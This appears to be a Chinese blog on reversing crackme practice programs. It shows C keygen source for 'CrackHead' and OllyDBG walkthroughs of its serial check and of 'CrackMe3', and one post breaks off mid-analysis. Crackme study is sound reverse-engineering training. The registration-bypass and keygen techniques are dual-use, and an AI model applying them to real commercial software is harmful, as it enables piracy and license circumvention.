int register_func(char* extend_user_name, char* serial) {

    printf("[*] current Serial: %s\n", serial);
    // 获取用户名的0~3位并转换成整型数
    _ui eax = string_to_hex(extend_user_name, 0);
    FUCK("[*] eax: %x\n", eax);

    // 获取用户名的4~7位并转换成整型数
    _ui ebx = string_to_hex(extend_user_name, 4);
    FUCK("[*] ebx: %x\n", ebx);

    // 获取序列号的0~3位并转换成整型数
    _ui _xor_eax = string_to_hex(serial, 0);
    FUCK("[*] the oprand xor with eax: %x\n", _xor_eax);

    // 获取序列号的4~7位并转换成整型数
    _ui _xor_ebx = string_to_hex(serial, 4);
    FUCK("[*] the oprand xor with ebx: %x\n", _xor_ebx);

    eax = eax ^ _xor_eax;
    ebx = ebx ^ _xor_ebx;
    eax = eax & 0x7F3F1F0F;
    ebx = ebx & 0x07030100;
    printf("[*] eax is ready for loop: %x\n", eax);
    printf("[*] ebx is ready for loop: %x\n",ebx);

    // 下面开始循环
    int loop_counter = 0, ecx = 0;
    while(loop_counter < 8) {
        FUCK("\n_________________OO<--%d-->OO_________________\n", loop_counter);
        ecx = loop_counter;
        _ui esi = eax;
        _ui edi = ebx;
        esi = esi << ecx;
        edi = edi << ecx;
        // 这一步其实就是获取到esi和edi每个字节中的最高位
        esi = esi & 0x80808080;
        edi = edi & 0x80808080;
        _ui edx = esi;
        // 下面这一堆移位操作其实是把每个字节中的最高位移动到了DL的高四位中
        _ui _d = edx & 0x80000000;
        _d = _d >> 31;
        _ui _c = edx & 0x00800000;
        _c = _c >> 23;
        _ui _b = edx & 0x00008000;
        _b = _b >> 15;
        _ui _a = edx & 0x00000080;
        _a = _a >> 7;

        char _DL_H4_0_3[3] = {0};
        sprintf(_DL_H4_0_3, "%X", _d*8+_c*4+_b*2+_a);
        char* hex_string = (char*)malloc(2+1);
        strcpy(hex_string, _DL_H4_0_3);
        edx = (_ui)strtoul(hex_string, NULL, 16);
        free(hex_string);
        edx = edx << 4;
        esi = edx;
        FUCK("[*] esi: 0x%x\n", esi);
        /*
        我们分别用ABCD代表一个32位数中每个字节的最高位
        |-----------------| |--------DX-------|
        |                 | |---DH--| |--DL---|
        D000 0000 C000 0000 B000 0000 A000 0000         DH  >> 7
        D000 0000 C000 0000 0000 000B A000 0000         DX  << 7
        D000 0000 C000 0000 BA00 0000 0000 0000         EDX >> 8
        0000 0000 D000 0000 C000 0000 BA00 0000         DH  >> 7
        0000 0000 D000 0000 0000 000C BA00 0000         DX  << 7
        0000 0000 D000 0000 CBA0 0000 0000 0000         EDX >> 8
        0000 0000 0000 0000 D000 0000 CBA0 0000         DH  >> 7
        0000 0000 0000 0000 0000 000D CBA0 0000         DX  >> 1
        0000 0000 0000 0000 0000 0000 DCBA 0000
        */
        edx = edi;
        // 下面这一堆移位操作其实是把每个字节中的最高位移动到了DL的低四位中

        /*
        我们分别用ABCD代表一个32位数中每个字节的最高位
        |-----------------| |--------DX-------|
        |                 | |---DH--| |--DL---|
        D000 0000 C000 0000 B000 0000 A000 0000         DH  >> 7
        D000 0000 C000 0000 0000 000B A000 0000         DX  << 7
        D000 0000 C000 0000 BA00 0000 0000 0000         EDX >> 8
        0000 0000 D000 0000 C000 0000 BA00 0000         DH  >> 7
        0000 0000 D000 0000 0000 000C BA00 0000         DX  << 7
        0000 0000 D000 0000 CBA0 0000 0000 0000         EDX >> 8
        0000 0000 0000 0000 D000 0000 CBA0 0000         DH  >> 7
        0000 0000 0000 0000 0000 000D CBA0 0000         DX  >> 5
        0000 0000 0000 0000 0000 0000 0000 DCBA
        */
        _d = edx & 0x80000000;
        _d = _d >> 31;
        _c = edx & 0x00800000;
        _c = _c >> 23;
        _b = edx & 0x00008000;
        _b = _b >> 15;
        _a = edx & 0x00000080;
        _a = _a >> 7;

        char _DL_L4_0_3[3] = {0};
        sprintf(_DL_L4_0_3, "%02X", _d*8+_c*4+_b*2+_a);
        hex_string = (char*)malloc(2+1);
        strcpy(hex_string, _DL_L4_0_3);
        edx = (_ui)strtoul(hex_string, NULL, 16);
        free(hex_string);
        edi = edx;
        FUCK("[*] edi: 0x%x\n", edi);
        edi = edi ^ esi;
        edx = edi;
        edx = edx & 0xFF;
        _ui _tmp_val = ecx;
        ecx = eax;
        eax = _tmp_val;
        FUCK("[*] edx: 0x%x\n", edx);
        if (eax > 3) {
            eax = eax - 3;
            eax = eax * 8;
            _tmp_val = eax;
            eax = ecx;
            ecx = _tmp_val;
            ebx = _rotl(ebx, ecx);
            ebx = ebx ^ edx;
            ebx = _rotr(ebx, ecx);
        } else {
            eax = eax * 8 + 8;
            _tmp_val = eax;
            eax = ecx;
            ecx = _tmp_val;
            eax = _rotl(eax, ecx);
            eax = eax ^ edx;
            eax = _rotr(eax, ecx);
        }
        FUCK("[*] eax: 0x%x\n",eax);
        FUCK("[*] ebx: 0x%x\n", ebx);
        loop_counter += 1;
    }
    printf("[*] after loop, eax: 0x%X\n", eax);
    printf("[*] after loop, ebx: 0x%X\n", ebx);


    // 下面是函数cycle.401190
    ecx = 0xFF01;
    // 这里需要对一个内存(0x402182)的值进行一个加法运算
    // 我暂时还不清楚这个内存的值是否固定，因此先留一个TODO，经调试，这里的初始值应该是98BADCFE
    // 转换成整型数就是FEDCBA98
    // 该函数并不是简单地循环，是一个递归函数，因此需要单独定义
    ecx = _401190(eax, ebx, ecx);
    FUCK("[*] ecx: 0x%X\n", ecx);
    return ecx;
}


int main_call() {
    _TODO_counter = 0xFEDCBA98;
    char user_name[16+1] = {0};
    printf("[*] give me a max-16-len string, 'q' to exit:\n\t");
    scanf("%16s", user_name);
    FUCK("%s\n",  user_name);
    if(1==strlen(user_name) && 'q'==user_name[0]) return 'q';
    // 将用户名扩充至16位
    int user_name_length = strlen(user_name);
    printf("[*] user name length: %d\n", user_name_length);
    char* extend_user_name = (char*)malloc(16+1);
    strcpy(extend_user_name, user_name);
    int i = 0;
    for(; i<16-user_name_length; i++) {
        char _tmp_val[2] = {0};
        sprintf(_tmp_val, "%c", user_name[i%user_name_length]);
        strcat(extend_user_name, _tmp_val);
    }
    printf("[*] user name after extended: %s\n", extend_user_name);
    // 对于掩码0x7F3F1F0F
    // 0x7F和username[3]进行异或运算
    // 如果username[3]的1和3bit置位，那么serial[3]的1和3bit一定会复位
    // 则serial[3]一定会小于0x30，这样就无法通过字符范围的检测了[0x30, 0x7E]
//        if(180 <= extend_user_name[3]) {
//            printf("[-] after xor with mask(0x7F), the value would less than 0x30, \n\tusername[3]'s ascii value should not be greater than 0x50\n");
//            continue;
//        }
    // 首先获取到注册码的前4位
    // __n_0_3 ^ __s_0_3 == 0x7F3F1F0F
    _ui _n_0_3 = string_to_hex(extend_user_name, 0);
    FUCK("0x%X\n", _n_0_3);
    char _s_0_3[4+1] = {0};
    _ui _hex_xor_res = 0;
    i=0;
    int j = 0;
    int k = 0;
    int l = 0;
    for(; i<8; i++) {
        j=0;
        for(; j<4; j++) {
            k=0;
            for(; k<2; k++) {
                l=0;
                for(; l<2; l++) {
                    memset(_s_0_3, 0, sizeof(_s_0_3));
                    char _tmp_char[2+1] = {0};
                    char hex_string[4+1] = {0};
                    sprintf(_tmp_char, "%02X", (4*l+3)*16+0x0F);
                    strcpy(hex_string, _tmp_char);
                    sprintf(_tmp_char, "%02X", (4*k+3)*16+0x0F);
                    strcat(hex_string, _tmp_char);
                    sprintf(_tmp_char, "%02X", (2*j+1)*16+0x0F);
                    strcat(hex_string, _tmp_char);
                    sprintf(_tmp_char, "%02X", i*16+0x0F);
                    strcat(hex_string, _tmp_char);

                    FUCK("hex_string = %s\n", hex_string);
                    // _hex_xor_res = 0x0F0F0F0F;
                    _hex_xor_res = (_ui)strtoul(hex_string, NULL, 16);
                    FUCK("hex_xor_res = 0x%X\n", _hex_xor_res);
                    FUCK("_n_0_3----%x\n", _n_0_3 ^ _hex_xor_res);
                    if(hex_to_string(_n_0_3 ^ _hex_xor_res, _s_0_3)==0) {
                        FUCK("_s_0_3----%s\n", _s_0_3);
                        goto __GOTO_ONCE;
                    }
                }
            }
        }
    }

    __GOTO_ONCE:
    FUCK("%s\n", _s_0_3);

    // 为了通过注册码长度检测，这里先给序列号填充为16位，其实后八位暂时是用不着的
    char* _s_8_15 = "89abcdef";
    // 由于掩码0x07030100最后会和EBX进行与运算
    // 所以最后EBX的四个字节，从高到低依次拥有3、2、1、0个有效bit位
    // 也就是说，无论_n_4_7和_s_4_7是什么样的，EBX只有2^(3+2+1+0)=64种可能的值
    // 下面这个组合可以覆盖到所有的可能性
    // 这样一来，我们就可以获取到注册码的4~7位了
    char* _s_4 = "@ABCDEFG";
    char* _s_5 = "@ABC";
    char* _s_6 = "@A";
    char* _s_7 = "A";
    i=0;
    for(; i<8; i++) {
        j=0;
        for(; j<4;j++) {
            k=0;
            for(; k<2; k++) {
                char* hex_string = (char*)malloc(16+1);
                strcpy(hex_string, _s_0_3);
                char _s_4_7[4+1] = {0};
                char _tmp_val[2] = {0};
                sprintf(_tmp_val, "%c", _s_4[i]);
                strcpy(_s_4_7, _tmp_val);
                sprintf(_tmp_val, "%c", _s_5[j]);
                strcat(_s_4_7, _tmp_val);
                sprintf(_tmp_val, "%c", _s_6[k]);
                strcat(_s_4_7, _tmp_val);
                sprintf(_tmp_val, "%c", _s_7[0]);
                strcat(_s_4_7, _tmp_val);
                strcat(hex_string, _s_4_7);
                strcat(hex_string, _s_8_15);
                if(register_func(extend_user_name, hex_string) == 1) {
                    free(hex_string);
                    printf("[+] half success!!! come on!!!\n\n");
                    // 实现剩下的运算
                    char _24_31[3]={0};
                    char _16_23[3]={0};
                    char _8_15[3]={0};
                    char _0_7[3]={0};

                    // 获取用户名的8~11并转换成整型数
                    _ui eax = string_to_hex(extend_user_name, 8);
                    FUCK("[*] eax: %x\n", eax);

                    // 获取用户名的12~15并转换成整型数
                    _ui ebx = string_to_hex(extend_user_name, 12);
                    FUCK("[*] ebx: %x\n", ebx);

                    eax = eax ^ ebx;
                    eax = eax ^ _TODO_counter;
                    eax = eax | 0x40404040;
                    eax = eax & 0x77777777;
                    while(1) {
                        char _eax_bin_format[32+1] = {0};
                        itoa(eax, _eax_bin_format, 2);
                        char __eax_bin_format[32+1] = {0};
                        sprintf(__eax_bin_format, "%032s", _eax_bin_format);
                        int index=0;
                        CUM("[+] this is the binary format of serial_8_11 ^ serial_12_15 result:\n\t");
                        for(; index<32; index++) {
                            FUCK("%c", __eax_bin_format[index]);
                            if((index+1)%4 == 0 && (index+1)!=32) {
                                CUM(" ");
                            }
                            if((index+1)%8 == 0 && (index+1)!=32) {
                                CUM("%% ");
                            }
                        }
                        CUM("\n");

                        char _s_8_11[4+1] = {0};
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcpy(_s_8_11, _tmp_val);
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcat(_s_8_11, _tmp_val);
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcat(_s_8_11, _tmp_val);
                        sprintf(_tmp_val, "%c", generate_random(0x30, 0x7E));
                        FUCK("random char %s", _tmp_val);
                        strcat(_s_8_11, _tmp_val);
                        printf("[*] generating random 4-len string: %s\n", _s_8_11);
//                        char _DEBUG_s_8_11[4+1] = "}3d7";
//                        strcpy(_s_8_11, _DEBUG_s_8_11);
                        _ui _s_8_11_hex_value = string_to_hex(_s_8_11, 0);
                        // 根据汇编代码
                        // eax = eax ^ s_8_11
                        // eax = eax ^ s_12_15
                        // eax == 0必须成立
                        // 那么可以推导出 eax ^ s_8_11 == s_12_15
                        FUCK("_s_8_11_hex_value: 0x%X\n", _s_8_11_hex_value);
                        FUCK("eax: 0x%X\n", eax);
                        _ui _s_12_15_hex_value = eax ^ _s_8_11_hex_value;
                        FUCK("_s_12_15_hex_value: 0x%X\n", _s_12_15_hex_value);
                        hex_string = (char*)malloc(4+1);
                        if(1==hex_to_string(_s_12_15_hex_value, hex_string)) {
                            free(hex_string);
                            continue;
                        }

                        char serial_number[16+1] = {0};
                        strcpy(serial_number, _s_0_3);
                        strcat(serial_number, _s_4_7);
                        strcat(serial_number, _s_8_11);
                        strcat(serial_number, hex_string);
                        free(hex_string);

                        printf("[+] Name:\n\t%s\n", user_name);
                        printf("[+] Serial:\n\t%s\n", serial_number);
                        char c = 0;
                        while ((c = getchar()) != EOF && c != '\n');
                        return 0;
                    }
                }
                free(hex_string);
            }
        }
    }
    return 0;
}

int main(int argc, char** argv) {
    while(1)
        if('q' == main_call()) break;
    return 0;
}

Crackme之CrackHead注册机

2022-05-09T00:00:00+02:00

references:

https://bbs.pediy.com/thread-21378.htm

上回我们说到CrackHead的注册机编写，但是由于触及到了我的知识盲区nobordeintlinerfuckbunsetiasdfjiab135twriabiajisadguiasgfastfyouasguidagsajdga，所以就暂时放在那里没写

现在我知道了如何下内存断点，那么问题就迎刃而解了

我们知道0x40339C这个地址决定了ESI的值，但是我们并不知道这块地址中的值是怎么来的，通过在这个地址下内存断点，可以定位到更改该内存内容的代码

可以看到更改内存的代码位于ntdll内，这些都是系统代码，我们一路返回即可，最后定位到CrackHead的代码，在此下断点即可，此时内存断点就可以清除了，当然你不清除也没啥影响

我们只需要把这一部分代码搞明白就行了：

从倒数第三行可以看到，ESI的值被写入了0x40339C中，而EDI又是通过下面这一段循环代码计算出来的

0040143E  |. 33FF           XOR EDI,EDI
00401440  |> 8BC1           MOV EAX,ECX
00401442  |. 8B1E           MOV EBX,DWORD PTR DS:[ESI]
00401444  |. F7E3           MUL EBX
00401446  |. 03F8           ADD EDI,EAX
00401448  |. 49             DEC ECX
00401449  |. 83F9 00        CMP ECX,0
0040144C  |.^75 F2          JNZ SHORT CrackHea.00401440

首先EDI被清空，然后进行循环，循环次数为ECX的值，EAX被初始化为ECX的值，在这段循环代码中，我们只需要知道ESI、ECX、EBX的值即可计算出EDI的值

00401431  |. 8D35 9C334000  LEA ESI,DWORD PTR DS:[40339C]
00401437  |. 0FB60D EC33400>MOVZX ECX,BYTE PTR DS:[4033EC]

从这两行代码我们可以知道ESI的值为x040339C，那么EBX的值就是内存地址为0x40339C处的内容，ECX的值为内存地址0x4033EC处的内容

这上面有一条指令可能大家之前没有见过，就是MOVZX（move with zero-extend），该指令跟MOV差不多，就是高位补0而已

比方说你把一个16位的值通过MOVZX指令放到EAX（32bit）中，那么MOVZX会自动将EAX的高16bit置0

再往上看

0040140C  /$ 60             PUSHAD
0040140D  |. 6A 00          PUSH 0                                   ; /RootPathName = NULL
0040140F  |. E8 B4000000    CALL <JMP.&KERNEL32.GetDriveTypeA>       ; \GetDriveTypeA
00401414  |. A2 EC334000    MOV BYTE PTR DS:[4033EC],AL
00401419  |. 6A 00          PUSH 0                                   ; /pFileSystemNameSize = NULL
0040141B  |. 6A 00          PUSH 0                                   ; |pFileSystemNameBuffer = NULL
0040141D  |. 6A 00          PUSH 0                                   ; |pFileSystemFlags = NULL
0040141F  |. 6A 00          PUSH 0                                   ; |pMaxFilenameLength = NULL
00401421  |. 6A 00          PUSH 0                                   ; |pVolumeSerialNumber = NULL
00401423  |. 6A 0B          PUSH 0B                                  ; |MaxVolumeNameSize = B (11.)
00401425  |. 68 9C334000    PUSH CrackHea.0040339C                   ; |VolumeNameBuffer = CrackHea.0040339C
0040142A  |. 6A 00          PUSH 0                                   ; |RootPathName = NULL
0040142C  |. E8 A3000000    CALL <JMP.&KERNEL32.GetVolumeInformation>; \GetVolumeInformationA

第一行的PUSHAD指令意为push all general-purpose register，就是把所有通用寄存器压栈

这一段代码其实就是两个系统函数的调用

下面这行代码将GetDriveTypeA的返回值放到了地址为0x4033EC的内存中

00401414  |. A2 EC334000    MOV BYTE PTR DS:[4033EC],AL

因为该函数的返回值最大值为6，所以AL（8bit）就足够存放返回值了

然后是GetVolumeInformationA

00401425  |. 68 9C334000    PUSH CrackHea.0040339C                   ; |VolumeNameBuffer = CrackHea.0040339C

这个是该函数的第二个参数，根据文档，该参数为传出参数，存放的是卷标的名称，之前之所以测了好几台机器都是一样的注册码，就是因为那几台机器都没有卷标

卷标就是这个东西，是用户自己设置的，默认是没有的

那么现在我们现在就已经获取到了所有需要的变量的值了，写出对应的C代码计算出序列号就完事了

编写思路如下：

ECX的初始值，0x4033EC指针的值我们已经拿到了，就是GetDriveType的返回值

EBX的初始值，0x40339C指针的值，这个值我们也有，就是GetVolumeInformation的传出参数VolumeName的值

EAX = ECX

EBX = VolumeName前四个字节（由于小端序的原因，需要进行翻转（高位在高址））

EAX=EAX*EBX EDX存放高32位，EAX存放低32bit 本次计算与EDX无关，我们只需要低32bit的值就行了

EDI=EDI+EAX EDI初始值为0

ECX用于循环计数

我直接用codeblocks编译的

#include   <windows.h>
#include   <stdio.h>

int main(int argc, char **argv) {
    char   volume_name[256]={0};

    GetVolumeInformation( NULL,volume_name,11,NULL,NULL,NULL,NULL,NULL);

    printf("[+] volume name: %s\n", volume_name);

    char _24_31[3]={0};
    char _16_23[3]={0};
    char _8_15[3]={0};
    char _0_7[3]={0};

    sprintf(_24_31, "%02X", (unsigned char)volume_name[0]);
    sprintf(_16_23, "%02X", (unsigned char)volume_name[1]);
    sprintf(_8_15, "%02X", (unsigned char)volume_name[2]);
    sprintf(_0_7, "%02X", (unsigned char)volume_name[3]);

    char* hex_string = (char*)malloc(8+1);
    strcpy(hex_string, _0_7);
    strcat(hex_string, _8_15);
    strcat(hex_string, _16_23);
    strcat(hex_string, _24_31);
    unsigned int ecx = GetDriveType(NULL);
    printf("[+] drive type: %u\n", ecx);
    unsigned int ebx = (unsigned int)strtoul(hex_string, NULL, 16);
    printf("[+] ebx initial value: 0x%x\n", ebx);
    free(hex_string);
    printf("[+] ecx initial value: %u\n", ecx);
    unsigned int eax = 0;
    unsigned int edi = 0;

    int i = 0;
    for(i=0; i<ecx; i++) {
        eax = ecx-i;
        eax *= ebx;
        edi += eax;
    }

    printf("[+] edi value: 0x%x\n",edi);
    const unsigned int const_value = (unsigned int)strtoul("797A7553", NULL, 16);
    printf("[+] calculated serial number: %u\n", const_value^edi);

    return   0;
}

CrackMe破解流程

2022-05-07T00:00:00+02:00

references:

http://bbs.pediy.com/showthread.php?s=&threadid=21308

耍一耍二进制

如果需要密码，就是1

要破解的二进制文件

OllyDBG

根据注册时弹出的错误信息，搜索错误字符串定位到程序代码

两个错误提示，两段同样的代码，我们分别在其调用者下断点

实际上是JNZ指令条件跳转过来的

两条跳转指令的上一条指令是同一个函数

下断点跟入该函数

对该函数进行分析

首先前三行是压栈操作，保护寄存器的内容

00403B2C  /$ 53             PUSH EBX
00403B2D  |. 56             PUSH ESI
00403B2E  |. 57             PUSH EDI

接下来的三行我并不理解他是什么意思，因为从字面上来看，他是对两个偏移量进行了CMP操作，而EAX寄存器是指向我们输入的用户名字符串的指针，EDX寄存器是指向程序硬编码的字符串的指针，我不明白比较这两个指针的意义何在

00403B2F  |. 89C6           MOV ESI,EAX
00403B31  |. 89D7           MOV EDI,EDX
00403B33  |. 39D0           CMP EAX,EDX

如果着两个指针一样，就会跳转

00403B35  |. 0F84 8F000000  JE CrackMe3.00403BCA

太离谱了，这两个指针要在什么样的情况下才会相等？？？？

不过前两行我还是能理解的，就是将地址分别转移到了ESI和EDI寄存器

直接ctrl+G定位到指定内存地址00403BCA：

可以看到是直接返回了，而此时ZF标志寄存器肯定会置位（1）

那么JNZ就不会成立，错误消息就不会弹出了

我们继续往下看，因为EAX和EDX并不相等

看看这两个寄存器是否为空（空地址全0）

不过除非我们直接没给用户名，不然这两个TEST指令都不会成立

接着看下面是三行

从结果来看是把两个字符串的长度放到了EAX和EDX寄存器中，但是为啥DS:[ESI-4]和DS:[EDI-4]就是字符串的长度，我也不清楚，我也没有源代码，鬼知道他是怎么写的，如果大家有知道的，欢迎留言，不胜感激

注意SUB指令不同于其他的指令，SUB var1, var2的意思是var1-var2，不能照搬MOV的规则

然后他把两个字符串的长度相减，此处结果为0，因为Unregistered...和Registered User的长度是一样的，长度都是0x0F

如果我们输入的字符串长比硬编码的字符串长，直接跳走

就是把ADD EDX, EAX指令给跳过了，如果没有跳过，说明我们输入的字符串长度和硬编码的字符串长度相等或者更短，那么该指令就会执行，将两者的差值和硬编码的字符串长度相加，那么此时EDX的值将和EAX原来的值相等

我们可以实验一下，将用户名的长度设置为1

可以看到，当我们输入的用户名长度较小时，会产生一个负数，但是最后和EDX相加之后，EDX就会变成EAX之前的值

等效于：

EDX+(EAX-EDX)=EAX

接着往下看

保存EDX的值，然后将EDX右移两位，如果EDX小于4，那么右移两位之后，结果肯定为0，ZF就会置位

就会跳转到CrackMe3.00403B7B

这里之所以要右移两位，是因为下面的代码将会对我们输入的用户名和硬编码的用户名进行循环比较，每次比较4个字节，也就是4个字符串，这里由于是1，所以进不去循环，我们使用默认的用户名来进行调试

这个就是循环体，以EDX作为循环次数

前三行：

00403B55  |> 8B0E           /MOV ECX,DWORD PTR DS:[ESI]
00403B57  |. 8B1F           |MOV EBX,DWORD PTR DS:[EDI]
00403B59  |. 39D9           |CMP ECX,EBX

ESI和EDI分别为我们输入的字符串和硬编码字符串的指针，这三行指令分别取出了两个字符串的前4个字符到ECX和EBX中，并对两者进行比较

如果不相等，则直接跳出循环

跳转到如下位置：

00403BB5  |> 5A             POP EDX
00403BB6  |. 38D9           CMP CL,BL
00403BB8  |. 75 10          JNZ SHORT CrackMe3.00403BCA
00403BBA  |. 38FD           CMP CH,BH
00403BBC  |. 75 0C          JNZ SHORT CrackMe3.00403BCA
00403BBE  |. C1E9 10        SHR ECX,10
00403BC1  |. C1EB 10        SHR EBX,10
00403BC4  |. 38D9           CMP CL,BL
00403BC6  |. 75 02          JNZ SHORT CrackMe3.00403BCA
00403BC8  |. 38FD           CMP CH,BH
00403BCA  |> 5F             POP EDI
00403BCB  |. 5E             POP ESI
00403BCC  |. 5B             POP EBX
00403BCD  \. C3             RETN

恢复EDX的值，然后对ECX和EBX寄存器的24~31bit进行比较，不同则直接返回，否则继续比较16~23biit，不同则直接返回，否则将ECX和EBX分别右移16位，重复以上操作

我们是因为EBX和ECX不相等跳到这里来的，所以这里的判断也会全部失败，最后ZF标志位处于复位状态返回，弹出错误信息

回到循环代码

00403B5D  |. 4A             |DEC EDX
00403B5E  |. 74 15          |JE SHORT CrackMe3.00403B75

前四个字符串一样，EDX减1，如果EDX变成0了，说明已经比较完了，跳转

00403B75  |> 83C6 04        ADD ESI,4
00403B78  |. 83C7 04        ADD EDI,4
00403B7B  |> 5A             POP EDX
00403B7C  |. 83E2 03        AND EDX,3
00403B7F  |. 74 22          JE SHORT CrackMe3.00403BA3

两个指针分别向后偏移4位，然后恢复EDX的值，和3进行与操作，其实就是判断EDX的最后两个bit是否全为0，如果不为0，说明字符串没有被完全比较，还余下了几个，其实这个与运算的结果就是进入循环前进行的右移2位（除以4）的余数

如果EDX被4整除了，就跳转，也就是说，字符串比较已经完成

00403BA3  |> 01C0           ADD EAX,EAX
00403BA5  |. EB 23          JMP SHORT CrackMe3.00403BCA

这里其实就是判断一下EAX的值是否为0，为0说明我们输入的用户名和硬编码的用户名长度一致，因为前面有一个SUB EAX, EDX的操作

如果没有被4整除，也就是说还有余数，那么久继续比较

00403B81  |. 8B0E           MOV ECX,DWORD PTR DS:[ESI]
00403B83  |. 8B1F           MOV EBX,DWORD PTR DS:[EDI]
00403B85  |. 38D9           CMP CL,BL
00403B87  |. 75 41          JNZ SHORT CrackMe3.00403BCA
00403B89  |. 4A             DEC EDX
00403B8A  |. 74 17          JE SHORT CrackMe3.00403BA3
00403B8C  |. 38FD           CMP CH,BH
00403B8E  |. 75 3A          JNZ SHORT CrackMe3.00403BCA
00403B90  |. 4A             DEC EDX
00403B91  |. 74 10          JE SHORT CrackMe3.00403BA3

可以看到，先比较剩余的第一个字符，不相等直接返回，如果相等，再判断字符串是不是比较完了

如果上面都没有跳转，再比较剩余的第二个字符，同上

如果都没有跳转，执行下面的代码

00403B93  |. 81E3 0000FF00  AND EBX,0FF0000
00403B99  |. 81E1 0000FF00  AND ECX,0FF0000
00403B9F  |. 39D9           CMP ECX,EBX
00403BA1  |. 75 27          JNZ SHORT CrackMe3.00403BCA
00403BA3  |> 01C0           ADD EAX,EAX
00403BA5  |. EB 23          JMP SHORT CrackMe3.00403BCA

通过与操作提取出第3个字符进行比较，其实和上面的逻辑是一样的，只不过不用跳CrackMe3.00403BA3了，因为要跳转的代码跟它挨着，这一处的代码逻辑，上面已经讲过了，不再赘述

回到循环代码

00403B60  |. 8B4E 04        |MOV ECX,DWORD PTR DS:[ESI+4]
00403B63  |. 8B5F 04        |MOV EBX,DWORD PTR DS:[EDI+4]
00403B66  |. 39D9           |CMP ECX,EBX
00403B68  |. 75 4B          |JNZ SHORT CrackMe3.00403BB5
00403B6A  |. 83C6 08        |ADD ESI,8
00403B6D  |. 83C7 08        |ADD EDI,8
00403B70  |. 4A             |DEC EDX
00403B71  |.^75 E2          \JNZ SHORT CrackMe3.00403B55

代码逻辑和上面就是一样的了，再往后偏移4个字节，比较第5~8个字符，如果还没有比较完，就继续循环

这一个函数，到这里我们就算分析完了，因此我们只需要确保用户名和硬编码的字符串一致就行了，而硬编码的字符串我们是可以直接在调试器中看到的，就是EDX指向的那块内存

现在我们已经成功通过第一个检测，来到第二个监测点

不过由于这两个检测点使用的是同一个函数，只是参数不同而已，所以我们只需要将序列号改为硬编码的序列号即可

简简单单，完事儿！！！

crackme之CrackHead破解流程

2022-05-07T00:00:00+02:00

references:

https://bbs.pediy.com/thread-21330.htm

如果要密码，就是1

要破解的二进制文件

这回情况和上次那个程序稍有不同，没有任何提示字符串，我们只能在系统API函数调用处下端点

windows GUI程序的常用于下断点的API函数

使用OllyDBG加载程序之后，Ctrl+N获取当前程序引入的所有库函数

其中有一个GetWinTextA，这个函数用于获取指定窗口中的字符串，可以用来下断点，选中这个函数右键下断点即可

可以看到，与该函数相关的指令都会被下断点，这两个断点对我们来说都没啥用，我们直接删除掉即可，然后在00401323的下一个位置下断点，也就是00401328，这个才是CrackHead程序的代码

我们跟入这个call即可

该函数的代码：

004013D2  /$ 56             PUSH ESI
004013D3  |. 33C0           XOR EAX,EAX
004013D5  |. 8D35 C4334000  LEA ESI,DWORD PTR DS:[4033C4]
004013DB  |. 33C9           XOR ECX,ECX
004013DD  |. 33D2           XOR EDX,EDX
004013DF  |. 8A06           MOV AL,BYTE PTR DS:[ESI]
004013E1  |. 46             INC ESI
004013E2  |. 3C 2D          CMP AL,2D
004013E4  |. 75 08          JNZ SHORT CrackHea.004013EE
004013E6  |. BA FFFFFFFF    MOV EDX,-1
004013EB  |. 8A06           MOV AL,BYTE PTR DS:[ESI]
004013ED  |. 46             INC ESI
004013EE  |> EB 0B          JMP SHORT CrackHea.004013FB
004013F0  |> 2C 30          /SUB AL,30
004013F2  |. 8D0C89         |LEA ECX,DWORD PTR DS:[ECX+ECX*4]
004013F5  |. 8D0C48         |LEA ECX,DWORD PTR DS:[EAX+ECX*2]
004013F8  |. 8A06           |MOV AL,BYTE PTR DS:[ESI]
004013FA  |. 46             |INC ESI
004013FB  |> 0AC0            OR AL,AL
004013FD  |.^75 F1          \JNZ SHORT CrackHea.004013F0
004013FF  |. 8D040A         LEA EAX,DWORD PTR DS:[EDX+ECX]
00401402  |. 33C2           XOR EAX,EDX
00401404  |. 5E             POP ESI
00401405  |. 81F6 53757A79  XOR ESI,797A7553
0040140B  \. C3             RETN

第三行中4033C4是序列号字符串的地址，是由之前的函数调用GetWindowTextA获取的

004013D5  |. 8D35 C4334000  LEA ESI,DWORD PTR DS:[4033C4]

现在ESI指向序列号

004013DF  |. 8A06           MOV AL,BYTE PTR DS:[ESI]
004013E1  |. 46             INC ESI
004013E2  |. 3C 2D          CMP AL,2D
004013E4  |. 75 08          JNZ SHORT CrackHea.004013EE

获取第一个序列号，然后ESI往后偏移1，如果第一个字符不是-（ascii为2D），则跳转

004013EE  |> EB 0B          JMP SHORT CrackHea.004013FB

接着跳

004013FB  |> 0AC0            OR AL,AL
004013FD  |.^75 F1          \JNZ SHORT CrackHea.004013F0

AL不为0就跳

004013F0  |> 2C 30          /SUB AL,30
004013F2  |. 8D0C89         |LEA ECX,DWORD PTR DS:[ECX+ECX*4]
004013F5  |. 8D0C48         |LEA ECX,DWORD PTR DS:[EAX+ECX*2]
004013F8  |. 8A06           |MOV AL,BYTE PTR DS:[ESI]
004013FA  |. 46             |INC ESI
004013FB  |> 0AC0            OR AL,AL
004013FD  |.^75 F1          \JNZ SHORT CrackHea.004013F0

先减去0x30，下面两个LEA指令相当于ECX=ECX*10+EAX，不过在这个循环里，ECX并没有什么作用，整个循环就是对序列号进行遍历，直到读完（最后的结束标志符0x00）

004013FF  |. 8D040A         LEA EAX,DWORD PTR DS:[EDX+ECX]
00401402  |. 33C2           XOR EAX,EDX
00401404  |. 5E             POP ESI
00401405  |. 81F6 53757A79  XOR ESI,797A7553
0040140B  \. C3             RETN

循环完成后，执行了四条指令，就返回了，现在我并不清楚这四条指令的作用

函数返回后，对EAX和ESI寄存器进行了比较，如果两者不相等，就会跳走，继续执行程序会发现没有任何反应，这显然不是我们想要的，我们不希望程序跳走，我们想让他执行下面的那条JMP指令，显然这个JMP跳到的地方有更多的东西

因此，我们需要确保在函数执行完成后，EAX和ESI的值是相等的

通过调试器可以看到，ESI的初始值是0，且函数的第一行代码就对ESI的值进行了保存

在函数返回的时候，取出ESI的值和0x797A7553进行异或，那么无论如何，函数返回的时候ESI的值一定会变成0x797A7553，现在我们的问题就是如何控制AX也是这个值

在函数一开始的地方

004013E4  |. 75 08          JNZ SHORT CrackHea.004013EE

